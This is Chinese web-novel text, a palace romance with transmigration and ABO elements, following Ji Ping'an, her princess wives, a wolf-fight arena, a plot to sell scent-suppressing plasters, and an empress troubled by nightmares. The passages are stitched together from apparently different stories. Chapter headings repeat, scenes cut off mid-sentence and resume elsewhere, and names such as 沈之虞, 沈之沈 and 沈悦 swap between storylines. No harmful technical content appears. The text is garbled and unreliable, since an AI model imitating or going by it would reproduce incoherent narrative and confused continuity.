“我们这是去哪?” 小厮不语,好似木偶,绕了几圈,几人来到一间雅舍,门开后,沈之虞等人进屋,小厮鞠了一躬便离开。 门关后,沈之虞坐下,季平安却是怎么也坐不住,有些摸不着头脑:“离国尖细藏在这里?” 沈之虞道:“试试。” “唉?” 怎么越说越听不懂,沈之虞在卖什么关子。 季平安急得一头雾水,沈之虞见她满脸懵,最终笑着在她额头轻扣了下:“别急。” “这里有台戏,我们放松一下,好好看看。” 说罢,沈之虞坐下,十七给她斟了茶,季平安见状:“感情你不是来抓人的?” 大公主十来看戏的? 在着鬼气森森的黑市里看戏? 难道比在揽月坊纸醉金迷的世界里看要爽吗? 半炷香过去。 门外居然有人流涌动,只听得一个沉稳的女音道:“开始了,开始了,各位缓慢入场。” 沈之虞起身走到窗边,推开窗户,只见楼下一个极大的院落,点着幽红灯火,很多人围成一圈,在院子中间有个四方形铁笼,季平安跟过来看着道:“这,是” 斗兽场? 不得了,这里竟然有怪兽? 三个女仆牵各自牵着一头雄壮的狼走近铁笼内。 那三头狼站在敌对面,形成一个巨大的三角圈。 “这佛陀阁,怎么还表演杂技了?” 沈之虞笑她单纯:“这可不是普通的杂技。” “这些狼中只有一个可以赢。” 这次月国到访,意义非凡,如果两国结盟,那将是对付离国最好的利器。 沈悦扶额:“退朝。” 她最近总是心神不宁,不知怎么了,昨晚竟做了噩梦,梦中一个穿着玄衣的女子在雾气缭绕间像她走来,每走一步脚底的黑雾都向外扩散一分,她站在那里看不清她的脸,但是她的心很疼,她想抓住什么,发现她们之间隔着一条宽阔的河,她对她笑,邪佞狂妄,她手中握剑,直直指向她。 沈悦下朝后走在宫道上,忽然一个弯腰,心口钝痛感更加明显。 花伶急忙上前,眼底担忧:“陛下。” 沈悦弯腰,蹙眉声音低缓:“无妨,不碍事。” 这里宫人到处都是,给人看到一国之君姿态萎靡,不成体统。 牡丹汤 沈悦褪去华丽的皇袍,一步步入了奶白汤池,花伶带着一众宫人向里面撒了数不尽的花瓣。 陛下身体孱弱,每每都需要浸泡沐浴,这汤池内除了花瓣香更多的是池底散的药草包,沈悦问多了草药味,心中直犯恶心,花伶只得想法子给汤池表面铺一层能化解药味的特殊花瓣。 沈悦整个人没入池水,眉头拧着,不着一语,花伶屏退所有人,只余她一个,给沈悦身上轻轻撒着水。 “花伶,我最近总是不安生。总觉得要发生些什么。” 那感觉很怪异,她说不上来,却又那么清晰的笼罩她,比她被疾病缠身还要令人恐惧的感觉。 就像她此前做了什么又被遗忘。 花伶眼中怜惜:“陛下,您别多想,您是昭国最尊贵的女人。” 不会有任何事。 花伶只会一遍遍安慰她,跟了她多年的人,沈悦也不忍心再叫她继续担心,有些疲倦的挥挥手:“你先下去吧,我想一个人。” 花伶迟疑下,点头起身。 走时,看着她皆是心疼。 “只赢一头狼,那其它两头是要怎么处置?” 季平安喃喃道刚问出口,就听到空中一阵烟火爆响,围观的人立刻闭口,大殿内 人声寂静,二楼包间窗口的位置正好可以将一楼的所有场景尽数揽尽眼底。 沈之虞虚着眸,嘴角噙着轻慢的笑。 只见被所在笼子里的三个女子立刻亮开了武器,三人领着狼在方寸之间相互厮杀,狼爪子锋利的划过其中一个蓝裙女子,在她腰间留下一抹见证。 陛下一生太坎坷,即便登了帝位也是心病不断。 人走后,沈悦在池水中慢慢踱步,这有伸展性的水在她身上缠绕流淌,将她焦躁的心渐渐抚平。 一阵风扫来,这汤池内是温度最高的,每次她入池,花伶都会把门紧紧关闭,不会渗风,今天怎么出了意外。 她闭着眸子,懒得去计较,凉了些也好,总是被热气包围脑袋都不得清醒。 “不是让你先出去吗?”沈悦听着窸窣脚步声,有些无奈。 她一人在,不会有事。剩下的,必须死。 沈之虞昂首,示意季平安继续看:“苦主来了。” 三个穿着打扮极为简洁的女子走进场地,她们各站在一头狼身旁,手里有的拿剑,有的握着长鞭,面上像是一坨死灰。 “今天比赛,谁获第一,谁就可得千里行。” 季平安看着着实开了眼,那三个女子腰间婀娜,玲珑身姿,竟然来比这么危险的活动。 传令官说完走出牢笼,只见三个女子屏息凝神,那三头狼昂着脖子嗷叫一声,哈出一口白气,在红色灯光下看的人鸡皮疙瘩起一身,其中一个嘴角流着哈喇子,那眼底欲望直直投射,季平安脚底一虚。 沈之虞顺手扶住她。 帝王事事都要被关注,没一点自由,沈悦心中生出一刻厌烦。 “脾气不小呢。” 颈子处出来一股热风,一道戏谑的声音响起,沈悦惊的立刻睁开双眸。 沈之虞道:“自然不会。” 有了驸马之后,皇帝和其他人也没有了理由再往她府里面塞人。 至于她自己,更不会主动往府上带人。 得到肯定的答案,季平安也没有其他的疑问了。 她把最后一颗野果放到了沈之虞的手上。 “你放心,我绝对是天底下最合格的驸马。” 沈之虞:“……” 第 52 章 第 52 章 京城。 镇云侯府送信的人,日夜无休,路上还换了两匹马,只用了三日便将镇云侯夫人的信送到了京城。 看到信件上的内容后,镇云侯立刻皱起了眉。 好歹也在朝堂至上混了几十年,他立刻就猜到了自家儿子被绑背后的意味。 不管是七公主,还是其他的皇子皇女,镇云侯都惹不起。 他当即就吩咐下人备马车,准备前往皇宫拜见皇帝,将信件呈送给皇帝。 皇宫之内。 正如沈之沈说的那样,季平安第一次见识了什么是皇权,天下都是皇帝的,若他不想见,下面的人都不敢把折子递上去。 季平安把折子给陈远,让陈远递到了秘书监,结果根本没有得到回应,这也导致了淮安侯府以为她只是说说而已,更没有将她的话放在心上了。 皇宫内。季平安还以为,自己的折子都写成那样了,人证物证俱在,都不用怎么查就可以定案的一个案子,居然毫无回音。 明日就是除夕,腊月二十九日放假,直到大年初六才开始上值,而且值班人员是分批处理公务,直到过了元宵才正式开始当值,正月十六开一场大朝会。 季平安以为,可能是放假的原因,皇帝不再看折子了,就等着过完年再说这件事。 不对啊,她即将要去任职清远县的知县,时间刚好是过年这段时间,人家都放假,就她去上班吗? 季平安看着满地的药材,药材算不得着急,沈之沈的情况也稳定下来,她决定先去一趟清远县。 除夕皇帝设宴,勋贵及家眷入宫,文官三品以上携家眷入宫赴宴,她是驸马,肯定要随沈之沈共同赴宴,她也会见到皇帝。 不过除夕宴上不适合说这些,如果她能跟皇帝单独相处还行,只能是走一步看一步。 其实她已经知道,状告长公主兼并民田的案发地点就在清远县。 季平安决定今日去清远县一趟看看情况,就当去点卯了,今日清远县县衙应该是有值班人员的。 大周律法规定,面向地方的官府衙门就算放假也必须有人值班,比如县衙放假的时候,知县,县丞,县尉轮番值班,县衙内的卫队捕快也要值班。 大清早的时候,季平安先把自己的药材整理了出来,对一旁帮忙的月落道:“今日阳光正好,这些药材晒上阳光弱了之后,帮我收回去。” 药丸的制作过程会比膏药抑制贴更麻烦,她要自己动手制作出来,当作样品才行,只有样品好,才能做下一步的事情。 一些不紧要的过程,她会留给月落去做,也是为了给月落找点事情做,毕竟月落是前身的书童,两人从小一起长大,肯定互相了解,她的变化太大,搞不好会被看出来什么。 季平安要把月落分派出去,让她有自己的事情做,两人慢慢地分开,以后自己的变化再大,反正两人有一个空窗期,空窗期里面出现了什么变化,自然是她说什么就是什么。 月落讶异地看了季平安一眼,这两天她也听说了驸马懂医的事,两人相处的时间比跟父母兄弟姐妹相处的时间要多得多,一天十二个时辰,除了睡觉时间几乎都在一起。 她从不知道驸马会医,只是她不觉得季平安已经换了一个人,而是委婉地劝说道:“女郎,长公主为你争取了清远县知县的位置,京县官位置重要,长公主殿下还是看好女郎你的。” 月落以为季平安研究药,可能是为了害沈之沈,所以劝阻一下,搞什么药丸之类的,哪有好好做官好,做药丸可能是中山王给季平安的任务,搞这些害人的东西,不如好好地干出政绩来。 靠着跟中山王做坏事得来的利益,完全没有靠自己做出来的成绩靠谱。 月落很清楚,自家女郎跟着中山王做了这么多坏事,结果名声坏透了,以前只是一个纨绔,还能说一句人不风流枉少年,跟了中山王之后,那真的快遗臭万年了。 还是长公主好,直接把女郎安排到了实职之上。 因为陛下亲自下旨,除了长公主殿下,别的那些王上都没有这个面子,七品官通常是吏部出一个任职文书就行了。 季平安微怔了下,随即笑道:“我知晓了。” 月落虽看不上前身,但也是真心为前身好的,也有可能两人主仆捆绑,不管为了什么,季平安日后都不会对月落太差的,这样一个人,在被主子的影响下,都没有选择做坏事,还在劝阻,她想着等手里有钱了,给月落一笔钱,无论对方是想娶妻生女,还是做生意,她都会支持一下。 季平安叮嘱了一下月落怎么处理这些药材,并没有具体说这些药材是做什么,然后去到永宁院。 她要跟沈之沈打声招呼,然后去清远县。 季平安来到永宁院时,沈之沈刚在春归的服侍下起来。 她上前就要为沈之沈把脉,沈之沈的眸子冷了冷,给了她一个如刀子般的眼神。 季平安立即解释道:“殿下的身体好了许多,臣在帮殿下看看,今日吃药是否需要调整。” 明日除夕宴,沈之沈肯定要在场的,昨安季平安离开后,她也让刘院判来看了,刘院判的意思是季平安的药很有用,她的身体恢复得比想象的快,正常参加除夕宴没问题。 沈之沈惊讶于季平安真的会医,还给她治疗了,听季平安这么说,还是伸出了手。 见公主殿下优雅地伸出自己白皙柔嫩的手,季平安赶紧把手放在了沈之沈的手腕上,细看的话,还能看出她的手有些微小的抖动。 沈之沈不以为意地垂眸,“你今日要去清远县?” “是。”场面一度很尴尬,谁都没想到,公主殿下想杀驸马,想杀到做梦都在说。 春归想要替公主遮掩,可这话喊意图太明显了,都不是梦中呢喃,要是呢喃的听不清,她还能遮掩下,现在要怎么说。 “那个,驸马……殿下不是那个意思。” 季平安摆摆手,“不用解释,我懂。” 她内心安慰自己,沈之沈想杀的人是前身,不是自己。 沉默半晌,她道:“把殿下移到寝室,暖阁太闷。” 暖阁里面就一扇窗户,她们的信香散的满,太热了也不太好。 春归立即点头,“来人,寝室的炉子生起来。” “生炉子也要开窗。” 季平安叮嘱了一声,然后坐在软榻上,她的身体还是很难受,但是只能强忍着。 乾元的信香被坤泽勾动后,要是不及时得到释放,很容易烧坏身体的,要不是她用银针封住了自己的穴道,她肯定要控制不住自己对沈之沈做些什么了。 季平安强忍住身体的不适,硬着头皮跟着众人到了寝室。 点炭火的点炭火,熏香的熏香,还有人用密封暖炉放在沈之沈的脚下。 沈之沈的眉头皱得很紧,好像在做什么噩梦,季平安用指尖轻点她的眉头,就看到她的眉头轻轻舒展开。 旁边的人都在忙碌,没有注意她的动作。 季平安忽然想到了一个药方,做成膏药一样,然后贴在乾元,坤泽的腺体上,可以很大程度的阻止乾元坤泽的信香外泄。 等到坤泽的雨露期,贴上膏药,再配上她开的药,哪怕不能出门,也不会特别难受,必须待着闺房里面熬。 沈之沈弯唇,兔子要掉入陷阱了。 皇帝批完奏折,旁边的太监立即奉茶,他看了一眼询问,“季平安递折子了?” “是的陛下,驸马叫人递上折子,请求陛下赐见,” “阿虞给她谋了个清远县知县的位置,不好好去上任,见朕做什么?” “启禀陛下,老奴把折子拿来了,陛下要看看吗?” “那就看看吧。” 皇帝打开了折子,随即冷哼一声把折子扔到桌案上起身,皇帝在做皇子时就是有名的美男子,因这副脸蛋,还被评为大周第一美男,可惜年纪大了,今年已经近六十岁,再加上修长的胡子,完全看不出来往日风采。 本该修长的身形,因保养不当,宽大的龙袍都挡不住肚子,显得又高又壮,横眉的时候,倒是显得威严。 “淮南侯府世受大周皇恩,为了区区田地,上愧对于大周历代帝王,愧对于朕,下愧对于淮安侯侯府祖宗,这些不肖子孙,便是死后也无言面见祖宗。” 皇帝走到炉子边坐下,歪靠在软榻上,“这个季平安倒是有些魄力,居然敢跟朕告发淮安侯府,只是如今那些开国勋贵是越发不中用了,淮安侯府是朕要扶持的,哪能刚升了官就查出犯事的。” 皇帝不想打自己的脸,只是指了指炉子,“朕今日没有看到折子,望驸马能适可而止。” 太监去拿起桌案上的折子,然后扔到了炉子里,炉子里面的炭火燃烧得更旺些,火锅照映在皇帝的脸上,看不出他在想什么。 太监偷偷看了一眼,只觉得陛下越发的深不可测,连忙低头不语,他跟在皇帝身边久了,深知陛下说这么多,不是为了让他们这些奴婢接话的,其实是皇帝在自言自语。 但凡这些话传出去,他们这些奴婢都得死,不是他一个,是整个大明宫的太监宫女,上上下下数千人都得死。 反倒是李帆在榻上待的更多。 而且李帆只是中庸,也不用担心信香的问题。 李帆垂了垂眸,眼底闪过一丝挣扎,但还是没有拒绝。 她将手中的圆扇放下,看向宁如仪,问道:“在榻上?” 宁如仪轻轻弯了下唇角;“既然你胳膊不疼,那便抱本宫去床上?” 第 53 章 第 53 章 季平安和沈之虞她们,已经在路上走了三天。 为了快些回到京城,她们白天基本都是赶路的状态,中午在路上随便架起来锅吃两口。 等到晚上,才会赶到县城里面的客栈,好好歇一歇。 前两天安然无恙,没有什么事情发生。 但到了第三天的夜里,客栈里面便又涌入了些刺客。 沈之沈答应了与她合作,公主府的药材随她用,不够还能去采购。 只是沈之沈到提出了条件,“孤要独占九成利。”像贴膏药的形式阻碍信香散出,这个世界有,效果一般,用的还都是极好的药材。 她这次想到的药方,是在给沈之沈治疗后想到的,要比之前尝试性用药的效果要好。 季平安对这个世界的信香了解不深,刚刚爆发了一场,信香在自己身体里面肆虐后,她才知道,信香是一个什么东西,这是自然而然来的,不是药物激发的,跟治疗春*药还不一样。 她在脑海中想着相关药方,还有一些药材的名字。 旁边春归忙活好就在观察着她的脸色,刚刚公主的梦话吓坏了所有人,没有人敢说什么,殿下还需要她治疗,她们更没话说了。 春归生怕季平安一个生气,一根银针结束殿下的生命,所以在看到季平安一动不动的,不知道在想什么时,她松了一口气,只要驸马不暴起,一切都好商量。 床上躺着的沈之沈梦到了上一世的屈辱,恨不得把季平安千刀万剐,哪怕把季平安折磨至死,往后的日子只要想到这个人,她都恶心得要死。 那是她的梦魇,导致她所有悲剧的开始,没有人能原谅一个导致自己悲剧的人渣,或许是这两天见到季平安太多次,让她又想起了那些屈辱的日子。 沈之沈挖掉腺体残废之后,父皇对她的态度也变得冷淡了,她一度认为,父皇的冷淡就是因为这件事,等到后来她才明白,那是因为自己没有了利用价值。 自从她废了之后,母后自暴自弃,把宫务交给贵妃,自己每日待在寝宫哪里都不去,父皇也不怎么过去,母后每日抑郁得紧,直到宝安王登基被气死。 没有腺体对她的身体造成的后果是不可逆的,也不能有自己的子嗣,对很多官员来讲,没有继承人,就代表着没有未来,这些人是不会支持的。 这等于,只要她没了,她的势力就会分崩瓦解,斗到最后,她的属下就是因此背叛她,导致了她最后的结局。 哪怕是这样,她也跟宝安王斗了个不相上下,最后居然输在没有子嗣,这让她不甘心。 没有腺体,每日身体上的痛苦就像是剧烈的牙疼,拔不掉又好不了,她每天都要忍耐着这种痛,还有外人异样的眼神,哪怕她是长公主,那些人令人恶心的目光,依然放在她的身上。 母后郁郁一生,而她屈辱痛苦了一生,一切悲剧的罪魁祸首就是季平安,不管季平安做了什么,她都不会原谅,也绝不原谅。 在梦的最后,沈之沈看到了漫天大火,她自焚于大周宗庙之中,以此来做最后的反抗,她恍惚中分不清是现实还是梦境,只以为自己又经历了一遭,身体越来越热,被烤得越来越难受。 她猛地睁开了双眼,迷蒙的眼睛盯着床上的幔帐愣了一瞬,就感觉到有指尖轻点自己额头,一触即离,等她看清楚,才发现是季平安正在舒展她的额头。 沈之沈眸子一冷,目光如刀子一般瞪向季平安,她高声喝斥了一声,“滚开!” 可她的耳边没有出现这两个字,好像她还在梦中一样。 沈之沈挣扎着想要起身,可无论她怎么挣扎身体都动不了,明明意识很清醒,她就是没有办法动弹,就像是在梦魇。 她张嘴想叫春归,嘴巴张了半天都没有张开,她只好奋力挣扎,想要从梦魇中出来,有人说梦魇是鬼压床,可就算是鬼,她也要占据上风,绝不允许不能掌控自己的身体。 喊春归喊不出来,她看着距离自己最近的那张面孔,充满恨意的喊了一句,“季平安!” 随后沈之沈惊醒了过来,这次才是真的醒了,她看到季平安还有众多婢女惊讶的眼神,就知道自己刚刚那两个字喊出了声。 季平安故作犹豫的模样,假装心疼道:“可以。” 她出技术,剩下的几乎都是公主府来做,况且没有公主府的话,这个生意做不长。 至于分成,季平安不太在意占多少,只要能攒下银子退休就行。 她假装犹豫,只是给自己留个余地,反正她是主动说出只占一成利,沈之沈也不会让她如愿的,只要不让她如愿,沈之沈就高兴。 不过接下来沈之沈的话,让她觉得,这一成自己都不该占,反正等她离开京都,生意都是沈之沈的,她只是短期分成罢了。 沈之沈能以坤泽之身,在被人不停算计的情况下,还能跟已成为皇帝,大事已成的宝安王斗的不相上下,怎么能不知道她在想什么,况且这个混蛋那点儿心眼子都浮现在脸上了。 看在这人还算乖巧的份上,沈之沈不介意分她一成利,“还有,你不能把抑制膏药贴的价格定得太高,要让全天下的百姓都能买得起。” 如果把抑制贴廉价卖出,利润就不多了,看来沈之沈要九成利,不是为了自己,而是为了天下百姓。 高高在上的长公主,全天下供养的高贵皇室,居然能知人间疾苦,这让季平安感到钦佩。 前身的记忆中,别说皇室了,就连勋贵人家都是不知道百姓苦的,沈之沈真的很好,谁说这样的人是反派,心怀天下,忧心百姓的人怎么就是反派了,她只是与主角立场不同而已。 但季平安显然还有别的想法,“定低价暂时不行,但等药馆做大之后,抑制膏药的价格一定会降低。” 其实抑制膏药的成本不高,可是有一点,古代的生产力,每日只能生产那么一点点的数量的话,就算价格定的低也没用,该用不到还是用不到。 所以她一开始的目标针对的是京都的富贵人家,那些勋贵世家,官宦富户,等赚够了这些人的钱,然后扩大生产,逐步推出低价产品。 沈之沈挑眉,“什么意思?” 季平安拿出两颗药丸,一颗放在八宝盒里面,一颗就用纸包着,她举起了八宝盒,“目前我们的产量太低,殿下总不能财大气粗的,一夜之间就让药馆开遍全大周吧?” “药馆一开始肯定只在圣京开,等赚到钱,还有产量提上去,再低价卖给百姓,以防影响后续生意,不能让产品相同,精致高贵的包装卖给勋贵世家,简单的包装,可以低价卖给普通百姓。” 里面的东西是一样的,包装不同,卖出的价格就不同,这就是分级,勋贵世家是最想体现出来自己与普通百姓的不同的。 不同的包装,吸引着不同的群体用户,大不了在药丸上雕刻些花样,不同等级的药丸,花样也不一样。 最好是推出等级卡,设置某些物品,或者某些权力,只能拥有相关等级的卡片才能享受,这个世界应该是制作成令牌了。 沈之沈只是对这种销售模式有些陌生,但不代表她想不明白,她看向季平安的眼神中带着些惊讶,没想到这人居然还挺有经商天赋。 这样的话,只分给她一成,确实有些低了,不过话已出口,就没有收回的道理。 若这人清远县的差事办的好,大理寺的空缺,倒也不是不能考虑她。 季平安哪里会经商,她只是了解一些销售套路,精致和奢华气息的包装,总能吸引有钱人,他们更看重阶级的体现。 一开始的时候,她们的生意太小,生产力也就那么大,想要快速推广开,把药馆做大做强,就得先从有钱人手里赚钱。 “殿下,不是臣不愿意卖给普通百姓,是只有先赚到钱,我们才有余力,让抑制膏药贴推向全大周。” 沈之沈目光微凝,对季平安有种刮目相看的感觉,随即又为自己的这种想法感到恼火。 可是她再次想到季平安说自己是孤魂重生的话,她不是相信季平安,她是认为那个人渣没有这个见识与本事。 有些事情太匪夷所思,沈之沈抛开脑海中的想法,随后冷声道:“孤会让春归配合你。” 季平安惊喜,“多谢殿下。” 有了春归的配合,一切就容易多。 沈之沈占力九成看似有些多,实际上药馆的启动资金,还有日后药馆的发展都需要沈之沈罩着。 别说药馆开出京都了,哪怕只在京都开出了名堂,就会被人盯上,只有长公主做靠山,才能开遍大江南北。 不过季平安想着一件事,她还需一个人经营,股份还得分出去。 她也需要一笔钱,一笔足够自己日后逃离京都,找一个安静慢生活的小城开一个医馆,置办一处院子,能让她余生可以悠闲地度过。 只是现在她有太多的事情要做,特别是淮安侯府,这家人真的不见棺材不落泪,季晴送来消息,他们不仅没有把奴仆送到官府,民田也没有归还。 他们是觉得,自己真的不敢面圣吗? 季平安想着面圣流程,要先递折子,再经过秘书监的审核,皇帝再决定要不要见她。 以前身在皇帝面前的形象,皇帝肯定不会见,就看她在请见的折子上面写什么了。 这也是她刚才为什么突发奇想卖食谱的原因。 越想,季平安越觉得回到京城里面后,还是要琢磨个能挣大钱的法子。 沈之虞不知道季平安已经想的这么久远,只当季平安现在暂时不缺银子。 她道:“若是之后需要,也可以随时和我说。” “好。”季平安不忘道:“你也多吃点面。” 沈之虞的食量不大,吃得甚至比岁岁多不到哪里去。 她看着系统页面上,沈之虞三天又掉了一点生命值。 到底是哪里又出问题了呢? 第 54 章 第 54 章 之前还在东和县的时候,沈之虞生命值最高是56,现在已经变为了52了。 56和52的差距并不大,如果染上一场风寒,可能降得也不止四点。 但季平安忧心的是,这四点生命值的下降她不知道原因,也不知道还会不会继续降低。 未知的总归让人害怕。 难不成沈之虞现在的身体,就已经有内伤或者亏空了,只是还没有发现? 想到这里,季平安就忍不住看向眼前的人,正慢条斯理地吃着她碗中的面。 沈之沈聊完药馆生意的事后,就眯上眼睛,让季平安离开。 沈之沈休息,季平安想着回去写请见皇帝的折子,就离开了永宁院。 回到了自己的小破院子里面,这会儿月落刚起来,看到了她留下的纸条,三下五除二的就吃掉了羊肉烤饼,至于馎饦,她想着安上煮来吃,好东西不能一下子就吃完。 看到季平安,月落快步迎了上来,“女郎。” “你帮我研磨,我要写折子。” 月落立即点头,虽不知为什么,但只要主子吩咐的事,她都会去做。 ——臣驸马都尉,奉议大夫,虎贲军校尉,清远县知县季平安,冒昧上书陛下,恳请陛下赐臣一见。 臣蒙圣恩,尚公主,担要职,然臣之家人…… 这么文绉绉地写折子,得写个几百字,季平安先写了草稿,润色好了,再写到折子上。 季平安这边刚写好草稿,春归就带人上了门。 “驸马,臣奉殿下之命,为驸马送来两个人。” 季平安抬眸看向春归的身后,两个女人,一个是乾元,一个是和元。 “这两位是?” 两人一同走上来,“属下陈远,见过驸马。” “属下陈近,见过驸马。” 陈远是女乾元,她率先说道:“驸马日后有事尽管吩咐我俩就行。” 看得出来,这俩一个是阿姐,一个是妹妹。季平安拿着食盒回到小院,里面还有给月落带的一份,她自己则坐在餐桌边上,大口地吃着辛苦带回来的馎饦。 说不委屈难过是不可能的,可有的时候造化弄人,不是努力就会有好的结果,她从小就知道这点。 季平安也不是对沈之沈不满,代入沈之沈面对前身的话,对方怎么做都不过分。 前身那样的人,死得再惨也是活该,她不是前身,可沈之沈不知道。 她理解归理解,委屈归委屈,大口吃完了馎饦,她又吃了一张羊肉烤饼,然后才回到房间准备换衣服。 早上起得太早,季平安的外衣都结了霜,天亮了之后,霜化成水,把外衣弄得湿漉漉的,她的头发也是半湿的。 月落还在睡着,她打开衣柜,挑了一套衣服出来,重新更换了一下,她上辈子穿过道袍,也在参加活动的时候穿过汉服,这身衣服对她来说不难穿。 一袭青衫,让她显得温文儒雅,外搭一件内镶皮毛的外套,明媚又精致,就似刚中了进士的读书人,还未正式授官,约了* 一些同样高中的好友,意气风发地品酒论诗,翩翩明朗的女郎,走出去怕是要惹的别的女人移不开眼了。 拿衣服的时候,她在柜子里看到一只兽毛布偶,兔子不像兔子,熊不是熊的,看不出来是什么,上面没有什么破损,就是有些老旧。 看得出来,布偶的主人以前对它很爱护,后来可能是长大了,就把它闲置在一边了。 季平安喜欢抱着玩偶睡觉,她曾经幻想过,如果自己谈恋爱,可能就会把玩偶踢到一边,去抱老婆了,很可惜,她是一个母单,没有谈过恋爱,更没有抱着别人睡觉过。 她把布偶拍了几下丢在了床上,准备安上抱着睡觉。 就是这只布偶,怎么看起来那么高傲,跟沈之沈似的,似笑非笑的,不怎么搭理别人。 季平安在布偶脸上捏了一把,结果捏下来一把毛。 季平安点头,对一旁的春归说,“替我谢过殿下。” 春归:“是。”这得放多久了,都能拔毛了。 季平安把它留在了屋子里,抬手简单地整理了一下衣服,就准备回到永宁院。 临走时,她在装订的册子上写下了几行字。 圣元二十七年。季平安回到小院时,一个看起来不过十七八岁的女孩迎了上来。 女孩一身短打,看起来是练家子,地盘稳重,功夫应当不错,女孩的名叫月落,从小就跟在前身身边的书童。 一开始是跟着侯府的老兵学武的,后来前身被逼着读书,连带着月落也不能学武了,前身主仆俩都不是什么读书的料,反而是什么都没学好。 月落是淮安侯夫人刘婉奶嬷嬷的女儿,生了这么一个乾元,最大的前途就是送到侯府女郎身边,哪知这个侯府女郎不成器,就在奶嬷嬷要给女儿另谋前程时,前身又入赘到了公主府,于是月落就跟着前身来了。 见到季平安,月落连忙行礼,“驸马。” “你回来了?”季平安挑眉,月落不是被控制起来了吗? 小说里面前身都是个炮灰,炮灰的书童更不会多用笔墨描写了,关于月落,她只有从前身的记忆里了解。 月落跟前身的关系一般,主仆之间,哪怕从小一起长大,也未必关系就密切了,前身对月落动辄打骂,有时都不把她当个人。 也就是古代了,主人打死仆人就算告到官府,最多就是花点儿钱了事。 月落点头,“是,殿下只让人把我关了起来,一个时辰前又把我放了。” 这样的动作,让人摸不着头脑。 季平安也没有多追问,转而询问,“城北老王家的馎饦什么时辰开门?还有城西的羊肉烤饼,哪家的好吃?” 腊月二十五日,伺候长公主(真是神奇的一天) 腊月二十六日,伺候长公主(凶巴巴的女人) 腊月二十七日,伺候长公主,(失败) 说着她歪头看书案上的草稿,默默把上面的内容记在心里。 回到永宁院,春归跟沈之沈说了自己看到的内容,“殿下,真的让驸马去见陛下吗?” “父皇不会见她的。”沈之沈笃定。 春归讶异道:“折子上写了淮安侯府兼并民田,逼良为娼,逼死百姓,陛下会视而不见吗?” 沈之沈摇摇头,“陛下最看重颜面,也最不愿意把丢脸的事放在明面上讲,这个事情不到御史弹劾,不到闹出不可收拾的局面,他不会处理的,对季平安,他谈不上喜欢,也绝不允许这个事情被拿到明面上讨论,除非季平安能豁出去,让他不得不见。” 上一世有人撞死在宫门口,父皇不得不处置,血溅宫门是百姓拼着九族俱灭想出来唯一能引起重视的主意,在父皇看来,却是因为皇家颜面受损,为此怒骂百姓无君无父,不忠不孝。 沈之沈心中有些难过,上辈子她就是太相信父皇爱自己了,才错失了许多机会。 春归愕然看着她,殿下在陛下面前向来是小女儿姿态,从未想过殿下居然是这么看陛下的,对于她们这些公主府的臣下来说,一切以长公主殿下为准,她们这些人,别说是让她们剑指皇帝,就算要了她们的命,她们也会毫不犹豫。 此刻春归也明白了,对公主殿下来说,父亲首先是皇帝,其次才是父亲。 可上一世的沈之沈,总认为父皇先是父亲才是皇帝。 春归还有一个疑问,“殿下,要是驸马真的能豁得出去呢?” 沈之沈勾起了唇,“那就看她命大不大了。” “可是殿下,若驸马死了,药丸的生意就做不成了。”春归能成为女官,自然有独到的眼力。 季平安制作出来的抑制贴,公主府一定会有很多银子入账,那是长公主的生意,没有人敢仿造,更没有人敢抢夺。 长公主生活上不缺银子,做事却缺银子,大周皇帝都缺银子。 沈之沈抚平自己宽大的袖子,不动声色道:“孤不与蠢货合作。” 要是连这一劫都逃不过, 沈之沈:“……” 她有听到自己刚刚的那两个字喊的,就像是离不开季平安一样,并没有她想的那样充满恨意,甚至还有点儿情意绵绵。 季平安挑眉,长公主殿下应该没有那么离不开她吧? “殿下,臣在呢。” 季平安的这一句,让沈之沈的脸色阴了阴,眸光化刀,要眼神能割破她的脖子,此时的她怕是已经凉透了。 对于自己睡梦中,叫出了这样缠绵悱恻的一句季平安,沈之沈的羞耻心一下子就爆发了,她不知道什么是破防,只知道她无法接受自己用这样的语调喊季平安的名字。 “滚出去!都滚!” 季平安无奈地拿出银针,一下子扎到沈之沈的穴位内,“这么凶,殿下还是再睡会儿吧!” 脾气太暴躁,一旦引起刚平复下来的信香,可就糟糕了。 果然,生理期的女人惹不起。 春归包括另外几个婢女,震惊地看着这一幕,有一句话不知当讲不当讲。 外面很安静,季平安和沈之虞就这样低声聊了不少,月亮都变了几次位置。 沈之虞回完季平安的又一个问题,想拿桌上的茶杯。 只是手刚碰到杯子,便感觉自己的肩上一沉。 沈之虞愣了一下,才垂眸看去。 季平安正闭着眼睛,眉眼间还有几分倦怠。 迷迷糊糊间,睡着的她又往前蹭了蹭,想离那浅淡的兰花香气更近一些。 第 55 章 第 55 章 第二天早上醒来,季平安睁开眼睛,看着窗外透过来的明亮的光,还愣了会儿。 她昨天晚上刚开始,还是在和沈之虞聊京城里面的情况。 但说到后面,她的眼皮就开始打架,记忆也停留在闭上眼睛的那瞬间。 如果没有记错,她当时应该是坐着就睡着了,然后靠到了沈之虞的肩膀上? 季平安又看了看四周,房间里没有其他人,只有在床上躺着的她。 昨晚岁岁已经睡着了,想来想去也只有一种可能,是沈之虞把她扶到床上的。 沈悦扫了四周一圈,最终目光落在殿前的一身宝蓝牡丹暗花织金锦上。 沈之虞长身玉立,手中一把红色绸绣鱼戏莲叶面紫檀木嵌染象牙银丝柄团扇,目视前方,有一下没一下的扇着,对上沈悦的目光,她轻轻顿了下,缓缓开口:“这事前几日便有人报与本宫,本宫已着人打探,恐是瘟疫来袭,不必自过惊慌。” 昭国自建国初始至今,已有百年历史,先帝时也曾发生过大规模疫情,现在这股不明就里的病情,估计是一个轮回到了,平日里的小灾小病时有发生,但是这都构不成大的传播,而上规模的瘟疫却像有灵魂一样,存在周期性轮回。 “距上一次恰好有二十年。”长乐宫。 沈悦看着沈之虞,眸中担忧:“姐姐,事实如何?” 她了解沈之虞,也有基本的判断,瘟疫需要引子,当年先帝在位时,爆发的瘟疫是因为连日水灾引发的水痘蔓延,继而扩散成全国性的大型疫灾,现在这休养生息,河清海晏的时候,又怎会突然招怪病? 沈之虞看着仙鹤颅顶燃烧的烛光,声音带着几分冷然:“尚在调查之中,一切都还是猜测。” 她给了沈悦一个宽慰的笑,让她放心。 沈悦低着眉眼,“姐姐不说,我也知道,周边有人又不安分了。” 萧蕴离,始终是昭国的隐患。“夜娇。”季平安看着她们,这描述可不就是书里说的夜娇迷情药。 使人产生幻觉,可以见到极乐。 药效用的过量会使人把持不住,最终迷失在虚幻的癫醉之下。 这跟梦香是两种相反的性质,一个使人产生恐惧,一个令人愉悦到发狂。 可惜,她只知道这药名字,却不知道这药所带来哪些剧情,她就穿进来了。而且现在大部分的剧情都被打乱,就算想帮沈之虞,也不知道怎么帮。 